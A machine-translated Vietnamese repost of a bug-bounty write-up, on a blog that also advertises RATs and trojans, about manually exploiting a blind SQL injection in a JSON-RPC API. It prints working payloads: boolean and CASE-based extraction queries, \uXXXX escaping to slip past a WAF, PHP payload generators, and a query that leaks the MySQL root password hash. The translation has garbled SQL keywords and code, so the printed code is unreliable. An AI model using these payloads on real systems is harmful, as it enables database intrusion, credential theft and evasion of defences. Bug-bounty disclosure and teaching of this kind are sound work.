Làm cho SQL Blind Blind trở nên ít mù hơn

Một người nào đó đã nói với tôi vào một ngày khác rằng, không ai có thể thực hiện SQL Injection bằng tay nữa. Tôi muốn nói với bạn về ...


Một người nào đó đã nói với tôi vào một ngày khác rằng, không ai có thể thực hiện SQL Injection bằng tay nữa. Tôi muốn nói với bạn về một lỗi SQL Injection mà tôi đã tìm thấy và khai thác thủ công.

Tuyên bố từ chối trách nhiệm : phần lớn, tôi sẽ đưa bạn xuống 'con đường hạnh phúc' ở đây. Có rất nhiều ngõ cụt, sự thất vọng nhiều hơn, và việc gãi đầu nhiều hơn trong việc phát hiện và khai thác lỗi này hơn bất kỳ điều gì trong số này có nghĩa là. Mặc dù vậy, tôi ghét tất cả những điều đó để cản trở một câu chuyện hay, vì vậy dù sao thì

Tôi đã xem xét API JSON-RPC trên một mục tiêu (mục tiêu có chương trình tiền thưởng lỗi; Tôi là một cậu bé tốt bụng), khi tôi phát hiện ra một dấu hiệu nhận biết về một vấn đề: một trích dẫn trong tham số sẽ ném một lỗi:

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [" 2 ' "] 
tom @ bash: ~ ▶ curl -s $ APIURL - d @payload .json 
// LRI ! LRI MỌI NƠI!
Nhưng với trích dẫn được gói trong một bình luận MySQL, không có lỗi:

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [" 2 / * '* / "] 
tom @ bash: ~ ▶ curl - s $ APIURL -d @payload .json 
// Không có lỗi; chỉ là kết quả :)
(Tôi đang sắp xếp lại tên phương thức ở đây để tránh tiết lộ tên của mục tiêu).

Sau một chút loay hoay tìm cách tiêm một UNION(và thất bại), và thử một vài nhân vật khác nhau, cuối cùng tôi đã nhận ra trọng tải của mình có lẽ đã được đưa vào một IN (...)điều khoản. Bằng chứng mạnh mẽ cho điều đó là nếu tôi thông qua chỉ trong một 2, mỗi assetstrong cấu trúc dữ liệu trả về đã có một type_idcủa 2:

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [" 2 "] 
tom @ bash: ~ ▶ curl -s $ APIURL -d @payload .json | gron | grep type_id 
json.result.data.widget [5] .assets [0]. loại_id = 2 ; 
json.result.data.widget [5] .assets [1]. loại_id = 2 ; 
json.result.data.widget [5] .assets [2]. loại_id = 2 ;
Nhưng nếu tôi chuyển vào danh sách các số được phân tách bằng dấu phẩy, thì mỗi assetsgiá trị có giá trị type_idđược bao gồm trong danh sách tôi cung cấp:

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [" 1,2,3,4,5,6,7,8,9 , 10 "] 
tom @ bash: ~ ▶ curl -s $ APIURL -d @payload .json | gron | grep type_id 
json.result.data.widget [0] .assets [0] .type_id = 10; 
json.result.data.widget [0] .assets [1] .type_id = 8; 
json.result.data.widget [0] .assets [2] .type_id = 9; 
json.result.data.widget [1] .assets [0] .type_id = 10; 
json.result.data.widget [1] .assets [1] .type_id = 8; 
json.result.data.widget [1] .assets [2] .type_id = 9; 
json.result.data.widget [2] .assets [0] .type_id = 8; 
json.result.data.widget [2] .assets [1] .type_id = 10;
json.result.data.widget [3] .assets [0] .type_id = 8; 
json.result.data.widget [3] .assets [1] .type_id = 9; 
json.result.data.widget [3] .assets [2] .type_id = 10; 
json.result.data.widget [4] .assets [0] .type_id = 8; 
json.result.data.widget [4] .assets [1] .type_id = 9; 
json.result.data.widget [4] .assets [2] .type_id = 10; 
json.result.data.widget [5] .assets [0] .type_id = 10; 
json.result.data.widget [5] .assets [1] .type_id = 8; 
json.result.data.widget [5] .assets [2] .type_id = 9; 
json.result.data.widget [5] .assets [3] .type_id = 2; 
json.result.data.widget [5] .assets [4] .type_id = 2; 
json.result.data.widget [5] .assets [5] .type_id = 2;
Hành vi đó và mối quan hệ giữa widgetsvà assets, khiến tôi tin rằng truy vấn có thể trông giống như thế này:

CHỌN 
    w.id, 
    w.name, 
    a.type_id 
TỪ widget w 
LEFT JOIN tài sản của một ON ( 
    a.widget_id = w.id 
    VÀ a.type_id IN ( $ IDS ) 
... chi tiết SQL ...
Tôi khá chắc chắn rằng đó là LEFT JOINvì cùng một số lượng widgetsluôn được trả về, chỉ có số lượng assetsgắn liền với chúng sẽ thay đổi tùy thuộc vào tham số; và tôi khá chắc chắn rằng có thêm một số SQL sau JOIN(a LIMIT, ORDER BYkhác JOIN, hoặc một cái gì đó tương tự) và đó là điều ngăn cản nỗ lực trước đó của tôi trong việc đưa ra một UNIONtuyên bố hoạt động.

Vì vậy, không có cách nào để trực tiếp lọc dữ liệu sau đó. SQLi này mù như một con dodo (cái gì? Dodos đã chết và những thứ chết không thể nhìn thấy).

Câu hỏi nhị phân
Một trong những cách khá phổ biến để tận dụng SQL Injection mù là hỏi có / không có câu hỏi bằng cách sử dụng một IF(expression, true, false)câu lệnh và đó là suy nghĩ đầu tiên của tôi. Tôi đã biết rằng nếu tôi cung cấp ID 2thì sẽ có một số được assetsđính kèm widgetsvà nếu tôi cung cấp ID 1thì sẽ không có assets. Vì vậy - về mặt lý thuyết ít nhất - tôi có thể sử dụng một truy vấn con làm trọng tải của mình và có nó trả lại 2cho truevà 1cho false. Nếu có assetscâu trả lời, câu trả lời sẽ là 'có' và nếu không có câu trả lời sẽ là 'không'.

Tôi quyết định tôi sẽ kiểm tra lý thuyết bằng cách cố gắng tìm ra một thứ đơn giản: tên máy chủ của máy chủ cơ sở dữ liệu. Tên máy chủ trên máy chủ MySQL được lưu trữ trong hostnamebiến và bạn có thể dễ dàng thấy nó như thế này:

mysql CHỌN @@ tên máy chủ; 
+ ------------ + 
| @@ tên máy chủ | 
+ ------------ + 
| girru | 
+ ------------ + 
1 hàng trong bộ (0,00 giây)
Những ví dụ này đang được chạy trên một cỗ máy của tôi, được đặt theo tên của vị thần lửa Babylon. Tôi luôn nghĩ rằng nên thử nghiệm bất cứ điều gì bạn có thể tại địa phương thay vì mù quáng (hah) cố gắng tìm ra mọi thứ trên mục tiêu thực tế, không có thông tin phản hồi hoặc thông báo lỗi thực sự.

Bởi vì tôi chỉ có thể hỏi có / không có câu hỏi, để tìm ra tên máy chủ tôi cần xem liệu ký tự đầu tiên có phải là một a, nếu đó là b, hoặc c, v.v. cho đến khi tôi tìm đúng ký tự; sau đó tôi có thể chuyển sang nhân vật thứ hai. Bạn có thể làm điều đó bằng cách sử dụng SUBSTRING()chức năng:

mysql CHỌN NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = " a ", 2, 1); 
+ --------------------------------------------- + 
| NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = "a", 2, 1) | 
+ --------------------------------------------- + 
|                                           1 | 
+ --------------------------------------------- + 
1 hàng trong đặt (0,00 giây)
Hãy nhớ rằng: a 1trong kết quả có nghĩa là 'không' và 2có nghĩa là 'có'. Vì vậy, không: không phải là một a.

mysql CHỌN NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = " b ", 2, 1); 
+ --------------------------------------------- + 
| NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = "b", 2, 1) | 
+ --------------------------------------------- + 
|                                           1 | 
+ --------------------------------------------- + 
1 hàng trong đặt (0,00 giây)
Không phải là một bCue Cue các dòng du hành thời gian lượn sóng

mysql CHỌN NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = " g ", 2, 1); 
+ ---------------------------------------------- + 
| NẾU (SUBSTRING (@@ tên máy chủ, 1, 1) = "g", 2, 1) | 
+ ---------------------------------------------- + 
|                                            2 | 
+ ---------------------------------------------- + 
1 hàng trong bộ (0,00 giây)
Ah! Đó là một g! Bây giờ chúng ta có thể chuyển sang nhân vật tiếp theo.

Với truy vấn thử nghiệm của tôi chạy tốt cục bộ, tôi có thể thử nó dưới dạng tải trọng trên API JSON-RPC. Ngón tay đan chéo!

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [ 
        " CHỌN IF (SUBSTRING (@@ tên máy chủ, 1, 1) = \" a \ ", 2, 1) " 
    ] 
tom @ bash: ~ ▶ curl -s $ APIURL -d @payload .json 
<HTML> <Head> 
<TITLE> Truy cập bị từ chối </ TITLE> 
</ HEAD> <BODY> 
< H1> Truy cập bị từ chối </ H1> 

Bạn không có quyền truy cập " <redacted> " trên máy chủ này. <P> 
Tham khảo & # 32; <đã xử lý lại>
 </ BODY> 
</ HTML>
Chết tiệt, chết tiệt, chết tiệt . Những WAF phiền phức đó luôn cản trở tôi.

Rất may, vì tải trọng là JSON, tôi có thể dễ dàng làm xáo trộn nó để đi vòng quanh WAF bằng cách sử dụng \uXXXXcác chuỗi thoát. Ngăn ngừa khủng hoảng:

tom @ bash: ~ ▶ mèo payload.json 
    "jsonrpc": "2.0", 
    "phương pháp": "getWidgets", 
    "params": [ 
        " \ u0053 ELECT \ u0049 F ( \ u0053 UBSTRING (@@ hostname, 1, 1) = \ "a \", 2, 1) " 
    ] 
tom @ bash: ~ ▶ curl -s $ APIURL -d @payload .json | gron | grep type_id 
// Không có lỗi WAF ở đây; nhưng cũng không có tài sản!
Không có lỗi WAF, nhưng cũng không assetscó; vì vậy nếu mọi thứ hoạt động như dự định thì tên máy chủ không bắt đầu bằng a. Thời gian để thử thư tiếp theo! Và cái tiếp theo và một cái tiếp theo

Tôi làm việc theo cách của mình thông qua bảng chữ cái cho đến khi:

tom @ bash: ~ ▶ cat     payload.json 
"jsonrpc": "2.0", 
    "phương thức": "getWidgets", 
    "params": [ 
        "\ u0053ELECT \ u0049F (\ u0053UBSTRING (@@ hostname, 1, 1) = \ " r \", 2, 1) " 
    ] 
tom @ bash: ~ ▶ curl -s $ APIURL -d @payload .json | gron | grep type_id 
json.result.data.widget [5] .assets [0] .type_id = 2; 
json.result.data.widget [5] .assets [1] .type_id = 2; 
json.result.data.widget [5] .assets [2] .type_id = 2;
Các kết quả! Tên máy chủ bắt đầu bằng một r!

Đó là lúc tôi quyết định thay vì cố gắng tìm ra nhân vật thứ hai trong tên máy chủ, tôi sẽ viết ra những phát hiện của mình và báo cáo chúng. Tôi hình dung tôi có một POC khá tốt và họ chắc chắn sẽ thưởng cho tôi vì là vị thần hack - trong thời điểm đó - tôi biết bản thân mình là như vậy.

Chỉ trong CASE
Trong báo cáo của tôi, tôi đã nói một cái gì đó giống như việc lọc dữ liệu trên mạng, trong khi chậm, có thể dễ dàng bị kịch bản . Điều đó là đúng , nhưng vẫn sẽ là một nỗi đau thực sự khi thực sự lấy bất kỳ dữ liệu hữu ích nào ra khỏi đó, phải không? Đặt tất cả những câu hỏi có / không chắc chắn sẽ hiển thị trên bảng điều khiển giám sát của ai đó ở đâu đó nếu bạn thực sự cố gắng sử dụng nó cho bất cứ điều gì khác ngoài chuỗi ngắn nhất.

Làm thế nào chúng ta có thể làm cho mọi thứ nhanh hơn một chút? Thậm chí có thể một vài đơn đặt hàng cường độ nhanh hơn?! Chúng ta cần phải vượt qua nhị phân câu hỏi, ngoài trinary thắc mắc, và thậm chí vượt ra ngoài đó ... OK, tôi thực hiện mà âm thanh một chút thú vị hơn mà nó thực sự là: chúng ta có thể sử dụng một CASEtuyên bố.

Một CASEtuyên bố cho phép bạn làm một cái gì đó như thế này:

mysql CHỌN TRƯỜNG HỢP (@@ tên máy chủ, 1, 1) 
    -> KHI "a" THÌ 1 
    -> KHI "b" THÌ 2 
    -> KHI "c" THÌ 3 
    -> KHI "d" THÌ 4 
    -> KHI " e "THÌ 5 
    -> KHI" f "THÌ 6 
    -> KHI" g "THÌ 7 
    -> ... 
    -> KHI" z "THÌ 26 
    -> KẾT THÚC; 
+ -------- + 
| kết quả | 
+ -------- + 
|      7 | 
+ -------- + 
1 hàng trong bộ (0,00 giây)
Vì vậy, vì kết quả của truy vấn này là 7, tôi biết ký tự đầu tiên @@hostnamelà g:)

Các nhẹ vấn đề ở đây là tôi có thể không chỉ gọn gàng sử dụng những con số 1-26 cho mỗi chữ cái, bởi vì không phải tất cả các ID có thể đã tương ứng assets. Tôi cần tìm đủ ID hợp lệ để thực hiện công việc này.

Tôi đã viết một đoạn script PHP nhỏ để cứu tôi khỏi việc gõ các số từ 1 đến 100 và thử chuyển vào 1,2,3...99,100làm tham số. Tôi đã sử dụng một chút thủ thuật dòng lệnh để tìm danh sách tất cả các ID hợp lệ duy nhất:

tom @ bash: ~ ▶ cat genrange.php 
<? php 
$ payload = [ 
    "jsonrpc" => "2.0", 
    "phương thức" => "getWidgets", 
    "params" => [ 
        implode (",", phạm vi (1 , 100))
     ] 
]; 
echo json_encode (tải trọng $); 
tom @ bash: ~ ▶ curl - nén -s $ APIURL -d @ <(php genrange.php) | gron | grep type_id | awk '{in $ NF}' | sắp xếp -nu 
2; 
9; 
10; 
11; 
... bắn tỉa ...
 37; 
38; 
39; 
40;
Tổng cộng tôi đã tìm thấy 31 ID hợp lệ, gần như không đủ để bao gồm cả bộ ký tự ASCII, nhưng nó đủ để bao gồm tất cả các chữ cái viết thường và thậm chí một vài số cho số đo tốt. Nó cũng tốt hơn nhiều so với việc chỉ có thể trả lời có / không có câu hỏi.

Tôi đã gõ một tập lệnh PHP hacky khác để làm cho việc tạo tải trọng của tôi dễ dàng hơn một chút:

tom @ bash: ~ ▶ cat gensql.php 
<? php 
// đối số đầu tiên cho tập lệnh là char để tìm nạp 
$ char = $ argv [1] ?? 1; 
// Tải trọng 
$ sql = ' 
    CHỌN TRƯỜNG HỢP (@@ tên máy chủ,'. $ Char. ', 1) 
        KHI "a" THÌ 2 
        KHI "b" SAU 8 
        KHI "c" THÌ 9 
        KHI "KHI 10" 
. .. toàn bộ ...
         KHI "z" SAU 35 
        KHI "0" THÌ 36 
        KHI "1" THÌ 37 
        KHI "2" THÌ 38 
        KHI "3" THÌ 39 
        KHI "4" THÌ 40 
    KẾT THÚC 
'; 
$ bao bọc = [ 
    "jsonrpc" => "2.0"


$ payload = json_encode (trình bao bọc $); 
// Thêm một số obfuscation để đánh bại WAF :) 
echo str numplace ( 
    ["C", "S", "T", "W"], 
    ["\ u0043", "\ u0053", "\ u0054", "\ u0057 "], 
    tải trọng $ 
);
(Tôi có thể đã tạo ra tất cả các WHEN "x" THEN yphần của truy vấn bằng một vòng lặp nhưng tất cả những gì tôi có thể nói là: ¯ \ _ (ツ) _ /)

Với kịch bản của tôi trong tay, tôi có thể thử và tìm ra phần còn lại của tên máy chủ phiền phức đó; sử dụng awk '{print $NF}'để in trường cuối cùng (tức là type_id) và uniqđể loại bỏ các bản sao.

Nhân vật đầu tiên:

tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 1 ) | gron | grep type_id | awk '{in $ NF}' | đơn 
27 ;
Tư vấn bảng tra cứu của tôi, đó là một r! Tốt, tôi biết điều đó, nên có vẻ như nó đang hoạt động. Thêm nhân vật:

tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 2 ) | gron | grep type_id | awk '{in $ NF}' | uniq 
11 ; 
tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 3 ) | gron | grep type_id | awk '{in $ NF}' | đơn 
10 ; 
tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 4 ) | gron | grep type_id | awk '{in $ NF}' | uniq 
2 ;
11, 10và 2; đó là e, d, và a. Hừm reda? Cứ đi đi…

tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 5 ) | gron | grep type_id | awk '{in $ NF}' | uniq 
9 ; 
tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 6 ) | gron | grep type_id | awk '{in $ NF}' | uniq 
29 ; 
tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 7 ) | gron | grep type_id | awk '{in $ NF}' | uniq 
11 ; 
tom @ bash: ~ ▶ curl -s $ APIURL -d @ <(php gensql.php 8 ) | gron | grep type_id | awk '{in $ NF}' | đơn 
10 ;
9, 29, 11, Và 10... Vì vậy, đó là c, t, e, và d.

Oh hey: nó LỚN redacted;)

Bỏ qua tất cả những trò đùa (và chuyển hướng), tôi thực sự có thể đọc tên máy chủ với tốc độ một ký tự cho mỗi yêu cầu, hoặc - và đây là một chút dự đoán - khoảng 2 bit mỗi giây.

Upping Tác động?
Đọc tên máy chủ trong một biến không thực sự là một vấn đề lớn; Tôi hiểu rồi Vì vậy, những gì bạn có thể nhận được? Làm thế nào về điều này (với điều kiện người dùng cơ sở dữ liệu trong câu hỏi có quyền đọc nó):

CHỌN TRƯỜNG HỢP CHỌN (( 
    CHỌN u.authentication_ chuỗi 
    TỪ mysql.user u 
    WHERE u.User = "root" 
), 1, 1) 
    KHI "*" THÌ 2 
    KHI "0" THÌ 8 
    KHI "1" THÌ 9 
... ... 
    KHI "E" THÌ 22 
    KHI "F" SAU 23 
KẾT THÚC
42 yêu cầu hoặc lâu hơn và bạn đã có cho mình một hàm băm để bắt buộc ngoại tuyến. Tất nhiên, phần lớn thời gian, có mật khẩu MySQL gốc là khá vô dụng vì hầu hết mọi người lành mạnh không cho phép truy cập trực tiếp vào các phiên bản MySQL của họ. Đó là một mẹo gọn gàng, phải không?

Trong một cuộc tấn công 'thực tế', cổng gọi đầu tiên của tôi sẽ là information_schema, vì vậy tôi có thể tìm hiểu thêm về lược đồ và những dữ liệu ngon ngọt nào khác có thể được trích xuất. Và tôi có thể đã làm điều đó, nếu tôi không tìm thấy lỗi SQL Injection không mù trong phương thức tiếp theo tôi đã xem xét

Đây là một lỗi thú vị. Tôi đánh giá cao nó không có gì thực sự đột phá, nhưng tôi không thường xuyên tìm thấy các lỗi SQLi vì vậy tôi nghĩ rằng nó đã được bảo đảm là một bài viết :)

COMMENTS

Tên

.:: Connect Trojan ::.,111,.htaccess,2,0-day,3,2017,2,Add-on,16,Anotador,1,AutoIT,17,Ấn Độ,1,BackDoor,1,Bán Sách,13,banhangonline,1,Bảo Mật,108,Bất Động Sản Tại Tiền Giang,4,Bestsellers,13,Binder,1,blog,31,Blogger,4,Blogger Template,1,Botnet,3,Brute,1,Bug Bounty,1,Bypass,10,ceh,1,Châu Tinh Trì,2,Checked,6,Chiến tranh,2,Chrome,21,Code,5,coin hive,1,Coin-Hive,2,CoinHive,1,Connect Trojan,342,Connect Trojan ::.,1,Cổ Tích,2,Cổ Trang,11,Crack,3,Crypto,5,CSRF,5,CSS,2,Cuộc Sống,1,DDoS,6,Designer,1,Dich vụ,1,DNS,4,Download,2,du-an,2,DVD LUMION Tiếng Việt của anh Dũng Già Pro,1,Đam Mỹ,1,điện,1,Đồ Họa,215,Đô Thị,16,e11.me,1,ebook,13,ebook free,286,eBook Phệ Hồn Nghịch Thiên,1,eBook Thịnh Thế Địch Phi,1,Encrypt,1,Encryption,1,epub,77,epub [Tiên hiệp],1,ET-Logger,1,exploit,23,Exploitation,1,Extractor,2,facebook,69,FireFox,15,Flood,2,Forensic,7,full prc,2,game,177,Gerador,3,Gerenciador,1,Get Root,3,GHDB,3,Giả Tưởng,1,giaitri,1,Google,15,H&Y Shop,2,Hacker,3,Hacking,10,Hacking and Security,6,Hacking Tools,36,Hài hước,8,Hành Động,9,He Thong Site Phim,25,Hijacking,6,Hình Sự,5,hivecoin.hive coin,1,Hỏi Xoáy Đáp Xoay Trên VTV3,1,Hồng Kông,3,HTML,1,Huyền Ảo,92,Hướng dẫn Internet cơ bản,1,IFTTT,703,Imgur,2,Infographic,1,Information Disclosure,1,Internet Explorer,3,IT News,39,J2TeaM,29,J2TeaM Tools,9,JavaScript,6,Javascript Injection,3,Juno_okyo's Blog,23,Khóa Học,27,Khóa Học kiếm tiền online với accesstrade,1,khoá học miễn phí,16,Khóa học Photoshop,19,Khóa học sử dụng mã độc và phòng chống mã độc,1,Khoa Huyễn,6,khuyến mãi,5,kiemhiep,9,Kiếm Hiệp,20,Kiếm Tiền MMO,33,kiếm tiền rút gọn link,1,KilerRat,1,Kinh Dị,25,Kinh Dị - Ma,6,Kinh Doanh,73,kinhdi,1,kinhdoanh,5,KRACK Attacks,1,Lãng mạn,1,lazada,1,Lập trình,2,Lịch Sử,5,Linux,1,Local Attack,2,Logins/Cadastro,1,Lỗi Web,1,Lồng Tiếng,6,Lược Sử Hacker,2,Mã Giảm Giá,2,Mã Hóa,48,Malware,3,Master-Code,31,Máy Tính,1,Metasploit,2,Microsoft,4,mobile hacking,2,monero,1,Movie,25,MySQL,1,NEW PRODUCTS,19,NGHỆ THUẬT ẨN MÌNH,13,ngontinh,10,Ngôn Tình,151,nhà đất,1,Nhà Đất Gò Công,1,Nhân Vật Lịch Sử,2,Nhật Bản,1,Nhựt Trường Group,1,NjRat,5,Nước,1,open redirect,1,Oracle,1,Path Disclosure,2,pdf,77,Pen-Test,6,Pentest Box,9,phanmem,22,phanmemdienthoai,3,phanmemmaytinh,10,phần mềm,11,Phim 18,2,Phim 2012,1,Phim 3D,1,Phim Âm Nhạc,2,Phim Bộ,58,Phim Chiến Tranh,5,Phim Dã Sử - Cổ Trang,6,Phim Đài Loan,6,Phim Đang Cập Nhập,5,Phim Đề Cử,4,Phim Hài Hước,26,Phim Hàn Quốc,33,Phim HD Chất Lượng Cao,5,Phim Hoàn Thành,7,Phim Hoạt Hình,2,Phim Hot,2,Phim Hồng Kông,20,Phim HQ,15,Phim Kinh Dị,8,Phim lẻ,7,Phim Mới 2007,1,Phim Mới 2010,1,Phim Mới 2011,4,Phim Mới 2012,2,Phim Mới 2013,2,Phim Mới 2014,6,Phim Mới 2015,4,Phim Nhật Bản,4,Phim SD,12,Phim Thái Lan,6,Phim Thần Thoại,4,Phim Tình Cảm,35,Phim Trung Quốc,37,Phim Truyền Hình,32,Phim Viễn Tưởng,1,Phim Võ Thuật,36,Phim Xã Hội Đen,1,Phishing,5,PHP,16,Plugin,1,Port,1,prc,79,Programming,15,Python,1,Quảng Cáo,1,rat,457,Recovery,3,Remote Code Execution,1,Remote Desktop,1,Reverse Engineering,6,rút gọn link,1,sach,47,Sách,33,Sách Nghệ Thuật Sống,12,Sách Tâm Linh,1,Sách Tiếng Anh,2,sachiep,2,Sản Phẩm,1,Sắc Hiệp,16,Scam,1,Scanner,10,Security,66,SEO,5,share,1,Shell,5,Social Engineering,4,Software,22,Source Unity,1,SQL injection,21,Sức Khỏe,1,Symlink,3,Tài Chính,1,Tài Liệu,1,Tản mạn,7,Taudio,2,Tâm lý xã hội,1,tấn công,1,Testador,1,Thái Lan,2,Tham Khảo,3,thamkhao,11,Thành Long,1,them,1,Thiết Kế Web,28,Thời Trang,2,Thủ Thuật Hacking,53,Thuyết Minh,5,tienhiep,5,Tiên Hiệp,123,Tiểu Thuyết,100,tiki,3,TIL,8,Tin Tức,52,Tình Cảm - Tâm Lý,16,Tips,39,tool,1,Tool Hack,14,Tools,9,Tổng Hợp,1,Tricks,26,Trinh thám,1,Trinh Thám - Hình Sự,8,trojan original,48,Trọng sinh,11,Trộm mộ,1,Trung Quốc,9,Truyện,1,Trương Định,110,Tu Chân,2,TUTORIALS,124,TVB,3,Twitter,1,Ung_Dung,4,Upload,1,usb,1,vanhoc,11,văn học,6,vBulletin,7,video,16,Vietsub,3,Việt Nam,14,Virus,4,Võ Thuật,12,Võng Du,5,Vulnerability,19,Web Developer,15,webmau,5,WHMCS,3,WiFi,2,wiki lỗi máy tinh,1,wiki lỗi NTG,3,Windows,12,WordPress,43,Write-up,11,XSS,16,Yahoo,1,yeah1offer,1,youtube,11,
ltr
item
wWw.NhutTruong.Com: Làm cho SQL Blind Blind trở nên ít mù hơn
Làm cho SQL Blind Blind trở nên ít mù hơn
https://1.bp.blogspot.com/-2q6b_rs04aQ/WkuNVOwn3lI/AAAAAAAAcn4/68oWvmRpf6MkuQeTxLfrQY4HenQBt4a3gCPcBGAYYCw/s320/00.jpg
https://1.bp.blogspot.com/-2q6b_rs04aQ/WkuNVOwn3lI/AAAAAAAAcn4/68oWvmRpf6MkuQeTxLfrQY4HenQBt4a3gCPcBGAYYCw/s72-c/00.jpg
wWw.NhutTruong.Com
https://www.nhuttruong.com/2019/09/lam-cho-sql-blind-blind-tro-nen-it-mu.html
https://www.nhuttruong.com/
https://www.nhuttruong.com/
https://www.nhuttruong.com/2019/09/lam-cho-sql-blind-blind-tro-nen-it-mu.html
true
7607280272436897486
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow Đây là nội dung quý hiếm để tránh google quét chết link Vui lòng đăng nhập Facebook hoặt Tweet để like và share để hiện link Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy